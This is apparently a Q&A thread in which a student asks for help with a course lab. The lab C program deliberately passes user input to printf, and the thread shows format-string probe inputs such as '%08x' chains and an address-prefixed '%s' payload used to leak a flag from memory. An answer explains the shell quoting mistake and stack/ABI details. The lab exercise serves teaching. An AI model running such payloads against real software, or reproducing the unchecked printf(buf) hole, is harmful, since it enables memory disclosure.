I'm a trying to learn about reverse engineering from CSCI 4971 course, and I'm struggling with one particular lab question (fmt_string).
I'm supposed to find and print out the flag stores somewhere. Here's how the source code looks:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"
int main()
{
char buf[256];
char *blah = (char *)0xdeadbeef;
char *pointer = flag;
char *xblah = (char *)0x1337c0de;
printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
"Nobody really cared though until this exploit for ProFTPD was\n"
"dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
"\n"
"In this challenge you do not need code execution. The flag is\n"
"somewhere in memory. There is a pointer to it on the stack. You\n"
"must use this pointer to dump the flag...\n"
"\n"
"You will retrieve it by passing in format string specifiers to\n"
"the printf() function\n"
"\n"
"After class read this article by rebel for fmt string leetness\n"
LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
"\n"
"As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
"\n oh, and man printf\n"
"\n"
"\n"
);
while(1)
{
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
}
This is how I approached the problem: I know that inputting %x
will print out the data stored in stack. So when I input AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x
, I get output AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141
, which is as I expected.
Last 4 bytes 41414141
are the 4 As' in beginning, 4 bytes deadbeef
and 1337c0de
are the ones hardcoded in source code. Now, I'm pretty sure that the flag is stored in address 080c90a0
.
However when I run this bash command, I can't get the flag:
$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
What I get is:
000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
Please help me understand what am I doing wrong, why do I get this output and what should I do to get the flag?
Your bash
printf
command never even ran your C program. The./fmt_string
is inside the double quotes as part of the arg to theprintf
builtin.On my desktop (in a directory with no file called
fmt_string
), I get:That's different from the output you show, so maybe you didn't copy the command you actually ran?
Maybe you actually ran
printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string
. Without the pipe, it prints:because you didn't do anything to stop the
printf
builtin from interpreting the%
s in the string you're printing. Useprintf '%s\n' ...
, or useecho
. Ironically, your attempt to test a format-string vulnerability was defeated by incorrect handling of format-strings.Piping that
printf
output through your program would print it verbatim, since it no longer has anyprintf
meta-characters. Thefgets
/printf
loop is just copying stdin to stdout in that case, even though it has binary garbage.As far as actually finding where
flag
is stored on the stack, compile withgcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less
, and look at gcc's comments to see where it's putting the pointer you want.(I'm assuming that your exploit only works against the code compiled with
-O0
, because otherwise the pointer will never be stored on the stack.)IDK if you're using
-m32
or not. If not, then the first 6 integer args forprintf
are passed in integer registers (in the x86-64 System V ABI), so you need to get through them first.See the x86 tag wiki for ABI doc links. I'm assuming you're on Linux from the use of the
printf
bash command.